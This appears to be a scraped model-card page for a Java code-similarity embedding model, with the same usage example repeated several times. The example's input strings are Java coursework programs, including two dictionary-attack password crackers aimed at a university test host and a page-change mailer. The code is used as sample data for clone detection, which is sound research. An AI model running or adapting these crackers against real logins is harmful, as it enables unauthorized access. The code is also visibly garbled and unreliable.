 }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
